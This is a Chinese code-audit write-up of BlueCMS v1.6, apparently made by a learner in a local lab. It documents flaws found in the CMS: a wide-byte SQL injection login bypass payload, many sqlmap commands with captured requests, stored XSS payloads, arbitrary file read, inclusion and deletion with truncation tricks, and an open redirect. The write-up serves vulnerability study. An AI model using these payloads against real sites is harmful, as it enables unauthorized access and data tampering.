BlueCMS代码审计

前置信息

bulecms v1.6

配置文件:data/config.php

非框架

鉴权分析

包含鉴权,后台admin目录文件包含

require dirname(__FILE__) . '/include/common.inc.php';
# __FILE__系统常量表示当前文件的完整路径和文件名
# dirname()表示返回目录部分(去掉文件名)
# 合起来dirname(__FILE__)就是当前目录,

/include/common.inc.php为鉴权文件

只看几个关键的

# 禁止直接访问该文件 
if(!defined('IN_BLUE'))
{
die('Access Denied!');
}

// 定义系统根目录路径(去除路径中的13个字符,可能是特定目录结构需要)
define('BLUE_ROOT', str_replace("\\", "/", substr(dirname(__FILE__), 0, -13)));

// 定义上传目录和data目录常量
define('UPLOAD', "upload/");
define('DATA', "data/");

鉴权代码:

if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
update_admin_info($_COOKIE['Blue']['admin_name']);
}
}else{
setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
exit();
}
}elseif($_SESSION['admin_id']){
update_admin_info($_SESSION['admin_name']);
}

跟踪check_cookie

function check_cookie($user_name, $pwd){
global $db, $_CFG;
$sql = "SELECT pwd FROM ".table('user')." WHERE user_name='$user_name'";
$user = $db->getone($sql);
if(md5($user['pwd'].$_CFG['cookie_hash']) == $pwd) return true;
else return false;
}

跟踪getone 发现就是由mysql_query封装的查询语句

将Cookie中的name和pwd传入check_cookie,发现name直接进行查询了,并且将查询的对应的pwd进行md5加密之后再和传入的pwd进行比较,成功返回true

成功的话进入update_admin_info方法

更新后台管理员名称

/**
* 更新管理员登录信息并设置相关session
*
* @param string $admin_name 管理员用户名
* @return void
*/
function update_admin_info($admin_name) {
// 引入全局变量
global $timestamp, $online_ip, $db;

/**
* 1. 获取管理员基本信息并设置session
*/
// 从admin表查询管理员信息
$admin = $db->getone("SELECT admin_id, admin_name, purview FROM ".table('admin')." WHERE admin_name = '$admin_name'");

// 设置管理员session信息
$_SESSION['admin_id'] = $admin['admin_id']; // 管理员ID
$_SESSION['admin_name'] = $admin['admin_name']; // 管理员用户名
$_SESSION['admin_purview'] = explode(',', $admin['purview']); // 管理员权限(字符串转为数组)

/**
* 2. 获取关联用户信息并设置session
*/
// 从user表查询关联用户信息(假设管理员也是普通用户)
$user = $db->getone("SELECT user_id, user_name, money FROM ".table('user')." WHERE user_name='$admin[admin_name]'");

// 设置用户session信息
$_SESSION['user_id'] = $user['user_id']; // 用户ID
$_SESSION['user_name'] = $user['user_name']; // 用户名
$_SESSION['money'] = $user['money']; // 用户余额

/**
* 3. 更新登录时间和IP记录
*/
$last_login_time = $timestamp; // 使用全局时间戳
$last_login_ip = $online_ip; // 使用全局IP地址

// 更新用户表的最后登录时间
$db->query("UPDATE ".table('user')." SET last_login_time='$last_login_time' WHERE user_id=".$user['user_id']);

// 更新管理员表的最后登录时间和IP
$sql = "UPDATE ".table('admin')." SET
last_login_time = '$last_login_time',
last_login_ip = '$last_login_ip'
WHERE admin_id='$_SESSION[admin_id]'";
$db->query($sql);
}

总的来说,鉴权是个根据你传入的name和pwd的值,将name传入数据库进行查询,并将传入的pwd进行md5再和查询到的对应的pwd进行比较

后台登录/admin/login.php

登录处admin_name sql注入

/admin/login.php?act=login

elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('用户名不能为空');
}
if($admin_pwd == ''){
showmsg('用户密码不能为空');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');
}
showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');

post传参admin_name和admin_pwd

进入check_admin,跟踪

image-20250510113447131

发现name传参直接并且查询,这里应该是存在注入的

pwd经过md5,不存在注入

第一次直接跑没跑出来

又看了鉴权文件,发现它包含了另一个文件(在分析鉴权的时候没看到..)

image-20250510113746214

跟踪进去

看起来像是数据库相关函数,并且看到了gbk,又想到在上面注册的时候单引号被转义了,可能存在宽字节注入

image-20250510113853239

sqlmap:

python sqlmap.py -r sqli.txt -p admin_name --tamper=unmagicquotes --batch --level=3 --risk=3

image-20250510114030596

unmagicquotes是专门用来检测宽字节注入的tamper脚本

登录时账号输入 admin %df’ or 1=1#
密码随便输,可以绕过登录

但是直接登录框输入会进行一次url编码

修改请求包内容

admin_name=admin%df%27+or+1%3D1%23

image-20250510114716862

此时再访问admin,成功访问

image-20250510114750219

问题:我并没有看到转义函数,为什么会转义单引号呢?

摸索出来原因:虽然没有转义函数,但是包含的鉴权文件中有一个

/**
* 安全过滤:对全局输入数据进行转义处理
*
* 这段代码主要实现以下功能:
* 1. 检测服务器是否已开启magic_quotes_gpc自动转义功能
* 2. 如果未开启,则对以下超全局变量进行手动转义处理:
* - $_POST : 处理POST提交的表单数据
* - $_GET : 处理URL查询字符串参数
* - $_COOKIES : 处理客户端Cookie数据
* - $_REQUEST : 处理所有输入数据(包含GET/POST/COOKIE)
*
* 使用场景:
* - 防御SQL注入攻击(需配合正确的数据库编码设置)
* - 兼容不同PHP环境配置(无论magic_quotes_gpc是否开启)
*
* 注意事项:
* 1. deep_addslashes()是自定义的深度转义函数,会递归处理数组
* 2. 此方法在MySQL使用GBK等宽字符集时仍可能存在宽字节注入漏洞
* 3. 更安全的做法是使用预处理语句(PDO/mysqli)替代转义
*
* @deprecated 这种转义方式已不推荐,建议改用预处理语句
*/
if(!get_magic_quotes_gpc()) {
// 递归转义POST数据
$_POST = deep_addslashes($_POST);
// 递归转义GET数据
$_GET = deep_addslashes($_GET);
// 递归转义COOKIE数据
$_COOKIES = deep_addslashes($_COOKIES);
// 递归转义REQUEST数据(包含GET/POST/COOKIE)
$_REQUEST = deep_addslashes($_REQUEST);
}
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

结合ai分析可以得到这是一个自定义的通过递归方式来完成转义的函数

image-20250510223340394

但是该登录处:

  1. 使用了gbk编码
  2. 存在转义处理
  3. 直接拼接sql

三个条件全部满足,因此有宽字节注入

后台模版管理/admin/tpl_manage.php

后台任意文件读取

/admin/tpl_manage.php第37行

image-20250511185722854

模版管理处,点击编辑,抓包

image-20250510122335753

文件名处修改为其他文件,比如php

image-20250510122400248

image-20250510122436238

成功进入

image-20250510122447037

可以直接修改文件内容,写入一句话木马

image-20250510122618530

但是写入修改完文件无法保存

看网上别人的文章可以写一句话木马直接shell,我这个在网站里的确显示写进去了,源码中并没有看到

感觉可能是网站配置的权限问题

读取本地文件(E盘下的1.txt)

image-20250511190609286

image-20250511190622526

后台会员管理/admin/user.php

后台添加会员处username sql注入

/admin/user.php

添加会员数据包:

POST /admin/user.php HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.137.1:81
Connection: close
Referer: http://192.168.137.1:81/admin/user.php?act=add
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=6jhthguqpmpk3a62bbq08ij8b5; detail=2
Upgrade-Insecure-Requests: 1
Priority: u=4

username=123&password=123&confirm_password=123&email=123%40qq.com&act=do_add

代码处

image-20250510222914584

跟踪checknameunique方法(这个方法的作用是检测用户名是否存在)

传参直接带入查询

image-20250510222948782

但是这里和后台登录处的同理,该文件包含了鉴权文件common.inc.php,鉴权文件中有get_magic_quotes_gpc方法,对这几个方式获取的参数都进行了转义

image-20250510223231321

但是common.inc.php所包含的mysql.class.php又规定了字符编码为gbk吗,并且这是一个魔术方法,包含这个文件实例化一个类会自动触发

image-20250510223638622

因此,只要是代码层存在注入的地方,都可以通过宽字节注入来实现

sqlmap:

python sqlmap.py -r sqli.txt -p username --tamper=unmagicquotes --batch --level=3 --risk=3 --dbms=mysql

image-20250510223813809

这里sqlmap跑的时候还给我注册了一堆用户….

image-20250510224139933

这个是–level=3 –risk=3的问题,不加这个也可以跑出来

后台删除会员处user_id sql注入

/admin/user.php?

代码处:

image-20250510225137753

没有过滤,post传入user_id直接进行查询

数据包

POST /admin/user.php HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://192.168.137.1:81
Connection: close
Referer: http://192.168.137.1:81/admin/user.php?act=del&user_id=2
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=6jhthguqpmpk3a62bbq08ij8b5
Upgrade-Insecure-Requests: 1
Priority: u=4

username=test&del_info=1&del_comment=1&act=do_del&user_id=2

sqlmap:

python sqlmap.py -r sqli.txt -p user_id --tamper=unmagicquotes --batch --dbms=mysql

image-20250510230726878

后台编辑会员处user_id sql注入

/admin/user.php?

image-20250510231317454

user_id进行get传参,直接进行查询

数据包

GET /admin/user.php?act=edit&user_id=3 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/user.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=6jhthguqpmpk3a62bbq08ij8b5
Upgrade-Insecure-Requests: 1
Priority: u=4


sqlmap:

python sqlmap.py -r sqli.txt -p user_id --tamper=unmagicquotes --batch --dbms=mysql

image-20250510231420069

后台广告列表/admin/ad.php

后台广告管理添加广告处存储型xss

image-20250510221617126

image-20250510221647567

image-20250510221630842

后台添加广告ad_name注入?(存疑)

elseif($act == 'do_add')
{
$ad_name = !empty($_POST['ad_name']) ? trim($_POST['ad_name']) : '';
$time_set = isset($_POST['time_set']) ? intval($_POST['ad_name']) : 0;
if($time_set == 1)
{
$start_time = !empty($start_time) ? explode('-',$_POST['start_time']) : '';
if($start_time)
{
if(!is_array($start_time))
{
showmsg('开始时间格式错误');
}
$start_time = mktime(0, 0, 0, $start_time[1], $start_time[2], $start_time[0]);
}
else
{
$start_time = time();
}

$end_time = !empty($end_time) ? explode('-', $_POST['end_time']) : 0;
if($end_time)
{
if(!is_array($end_time))
{
showmsg('结束时间格式错误');
}
$end_time = mktime(0, 0, 0, $end_time[1], $end_time[2], $end_time[0]);
}
}
else
{
$start_time = 0;
$end_time = 0;
}
if($_POST['content']['type']=='code')
{
$content = !empty($_POST['content']['htmlcode']) ? trim($_POST['content']['htmlcode']) : '';
}
else
{
if(empty($_POST['content']['width']))
{
$width = "";
}
else
{
$width = " width=\"{$_POST['content']['width']}\"";
}
if (empty($_POST['content']['height']))
{
$height = "";
}
else
{
$height = "height=\"{$_POST['content']['height']}\"";
}
$content = "<a href=\"{$_POST['content']['link']}\" target=\"_blank\"><img src=\"{$_POST['content']['url']}\"$width $height border=\"0\" /></a>";
}
$exp_content = !empty($_POST['exp_content']) ? trim($_POST['exp_content']) : '';
$sql = "INSERT INTO ".table('ad')." (ad_id, ad_name, time_set, start_time, end_time, content, exp_content) VALUES ('', '$ad_name', '$time_set', '$start_time', '$end_time', '$content', '$exp_content')";
$db->query($sql);
showmsg('添加新广告成功', 'ad.php');
}

ad_name通过post传参,并且没有过滤

image-20250510233815924

直接传参进入查询

image-20250510235028281

但是sqlmap没跑出来

我感觉是有注入的…

并且下面的do_edit部分同样如此,也没有注入

猜测和查询语句有关,并没有查询?只有插入,存在xss

后台编辑广告ad_id sql注入

admin/ad.php第99行

image-20250511001518250

GET /admin/ad.php?act=edit&ad_id=81 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/ad.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=6jhthguqpmpk3a62bbq08ij8b5
Upgrade-Insecure-Requests: 1
Priority: u=4

sqlmap:

python sqlmap.py -r sqli.txt -p ad_id --batch --dbms=mysql

image-20250511001626980

但是我当我测完这个项目才发现,为什么这里没有用宽字节注入模版就可以跑出来啊…(下面的注入我都默认加了宽字节注入的模版

后台电话广告位/admin/ad_phone.php

后台添加电话广告存储型xss

image-20250511002421381

显示名称和描述都存在xss

image-20250511002440568

image-20250511002449404

image-20250511002456365

image-20250511002538668

代码中没有对参数进行html实体化编码

没有函数

htmlspecialchars()
htmlentities()
strip_tags()

image-20250511002630447

后台编辑电话广告id sql注入

/admin/ad_phone.php第137行

image-20250511103052674

POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://192.168.137.1:81
Connection: close
Referer: http://192.168.137.1:81/admin/ad_phone.php?act=edit&id=3
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i

content=123456&title=&color=&start_time=2025-05-11&end_time=&show_order=0&id=3&act=doedit

sqlmap:

python sqlmap.py -r sqli.txt -p id --tamper=unmagicquotes --batch --dbms=mysql

image-20250511103119037

后台删除电话广告id sql注入

/admin/ad_phone.php第149行

image-20250511103530109

GET /admin/ad_phone.php?act=del&id=3 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/ad_phone.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i

sqlmap:

python sqlmap.py -r sqli.txt -p id --tamper=unmagicquotes --batch --dbms=mysql

image-20250511103514043

后台管理日志列表/admin/admin_log.php

删除日志checkboxes[] sql注入

/admin/admin_log.php第27行

image-20250511104529635

POST /admin/admin_log.php HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://192.168.137.1:81
Connection: close
Referer: http://192.168.137.1:81/admin/admin_log.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i

checkboxes%5B%5D=67&act=del

sqlmap:

python sqlmap.py -r sqli.txt -p checkboxes%5B%5D --tamper=unmagicquotes --batch --dbms=mysql

image-20250511104603529

后台栏目列表/admin/arc_cat.php

后台添加栏目存储型xss

image-20250510220108333

image-20250510220231472

访问/admin/页面即可触发xss

image-20250510220307528

后台新闻列表/admin/article.php

删除本地新闻id sql注入

admin/article.php第132行

image-20250511114413049

GET /admin/article.php?act=del&id=3 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/article.php?cid=1
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=4


sqlmap:

python sqlmap.py -r sqli.txt -p id --tamper=unmagicquotes --batch --dbms=mysql

image-20250511114650259

后台发布本地新闻存储型xss

创建栏目之后可以继续创建本地新闻

image-20250510220515502

可以选择分类了

image-20250510220624505

访问/admin/可以xss

image-20250510220643774

后台附加属性管理/admin/attachment.php

删除附加属性att_id sql注入

admin/attachment.php第80行

我这里添加新属性时没有提交按钮

image-20250511115135590

因此直接构造删除属性的数据包即可

image-20250511115032412

GET /admin/attachment.php?act=del&att_id=1 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/attachment.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=4

sqlmap:

python sqlmap.py -r sqli.txt -p att_id --tamper=unmagicquotes --batch --dbms=mysql

image-20250511115329519

后台网站模型列表/admin/model.php

后台删除模型model_id sql注入

/admin/model.php第55行

image-20250511175203871

GET /admin/model.php?act=del&model_id=1 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/model.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i


sqlmap:

python sqlmap.py -r sqli.txt -p model_id --tamper=unmagicquotes --batch --dbms=mysql

image-20250511175323715

后台导航栏列表/admin/nav.php

后台添加新链接存储型xss

对于输入参数没有进行过滤和html实体化编码防护,直接存入数据库

image-20250511175717431

image-20250511175558422

image-20250511175607199

image-20250511175617787

后台编辑链接处navid sql注入

/admin/nav.php第65行

image-20250511175925999

GET /admin/nav.php?act=edit&navid=2 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1:81/admin/nav.php
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i

sqlmap:

python sqlmap.py -r sqli.txt -p navid --tamper=unmagicquotes --batch --dbms=mysql

image-20250511180016312

后台支付方式/admin/pay.php

后台编辑支付方式存储型xss

image-20250511192516100

name和description字段存在xss

当前台访问选中并点击购买时会触发xss

image-20250511192620226

image-20250511192644648

image-20250511192650731

image-20250511192718484

后台系统用户组列表/admin/sys_user.php

后台编辑系统资料存储型xss

image-20250511182613763

image-20250511182621833

后台编辑系统资料email sql注入

image-20250511183406287

但是这里的语句是

$sql = "UPDATE ".table('admin')." SET email='$email', pwd=md5('$pwd') WHERE admin_id=".intval($_POST['admin_id']);

UPDATE 后的 set 中的参数可控存在过滤,用sqlmap跑的时候需要加上risk和level参数

POST /admin/sys_user.php HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.137.1:81
Connection: close
Referer: http://192.168.137.1:81/admin/sys_user.php?act=edit&admin_id=1
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email=123%40qq.com&pwd=&act=do_edit&admin_id=1

sqlmap:

python sqlmap.py -r sqli.txt -p email --tamper=unmagicquotes --batch --dbms=mysql --level=3 --risk=3

image-20250511183634583

这里还是问ds才知道的….(我说这明明有注入啊,sqlmap怎么跑不出来…

image-20250511183736336

但是他给我的这种解决方法没有跑出来 =.=

前台本地新闻/news.php

前台评论存储xss

/news.php?id=3

image-20250511122009636

image-20250511121953157

同时对管理员在后台查看也会触发xss

image-20250511122202693

前台/ad_js.php

前台ad_id sql注入

/ad_js.php第19行

image-20250511193353336

GET /ad_js.php?ad_id=1 HTTP/1.1
Host: 192.168.137.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=74ga82lnmh84t2nm8b7vpo9b51; detail=4
Upgrade-Insecure-Requests: 1
Priority: u=0, i


sqlmap:

python sqlmap.py -r sqli.txt -p ad_id --batch --dbms=mysql

image-20250511193605000

前台user.php

注册存储型xss

目录:/user.php?act=reg

admin' –+
admin123

注册该用户之后发现,用户名变为image-20250510112307957

单引号被转义

发现邮箱会输出到页面

image-20250510100308735

更改邮箱

123@qq.com<script>alert(1)</script>

image-20250510101230119

image-20250510101447048

前台pay任意文件包含

image-20250511195111531

但是后面拼接了/index.php文件,需要截断

有两种方式可以截断

绕过方法1:%00 截断

条件:magic_quotes_gpc = Off,PHP版本<5.3.4

绕过方法2:路径长度截断

条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8

参考https://www.cnblogs.com/wkzb/p/12732078.html

这里我截断不了……..

的确是有洞的

如果把后面的/index.php删掉

image-20250512091315333

检验:

image-20250511195803101

抓包修改pay参数的值,但是我这里没法复现

可配合上传图片马getshell

任意url跳转from

from参数没有过滤

image-20250511214750854

在do_login方法中对from参数进行了base64编码

image-20250511214827707

直接拼接到跳转

image-20250511214700220

抓包

image-20250511215355538

http://www.baidu.com进行base64编码

image-20250511215302336

aHR0cDovL3d3dy5iYWlkdS5jb20=

image-20250511215431006

成功跳转

image-20250511215503693

前台face_pic3任意文件删除

image-20250512095107359

image-20250512095151659

face_pic3参数部分,只需要输入文件名即可删除任意文件,目录为根目录

这里我删除不了,和上面的文件包含还有任意文件读取一样,怀疑可能是网站搭建时候权限问题

sql注入

这里的id存在注入,没有过滤直接传参拼接查询,但是我没有找到触发功能点,可能是手动构造的数据包有问题,导致没有注入出来

image-20250512100307373

同时,这里的id也被unlink了,也存在任意文件删除,但是还是没有复现出来..

总结

由于是第一次代码审计,多的还是全文通读,没有正反向审计,都是根据文件来找功能点来分析;首先还是分析前后台文件,分析鉴权,从前台功能点开始测,要注意用户输入输出地方

但是这套源码搭建可能有点问题,因为我有些功能点无法在浏览器触发,并且文件操作也无法进行..

sql注入

当注入点位于update的set处(不位于常规的select where处),要使用risk和level(我一般用–level=3 –risk=3,具体不同等级有什么细致差别我还没有实操),但是当使用risk和level时要小心会直接对数据进行操作(比如我上面的直接给我注册了一堆用户….)

xss

xss尽量黑盒测,白盒就看是否存在转义函数

htmlspecialchars()
htmlentities()
strip_tags()

如果不存在转移函数,看看有没有什么自写的转义方法(转义方法可能是递归来写的,嵌套多层)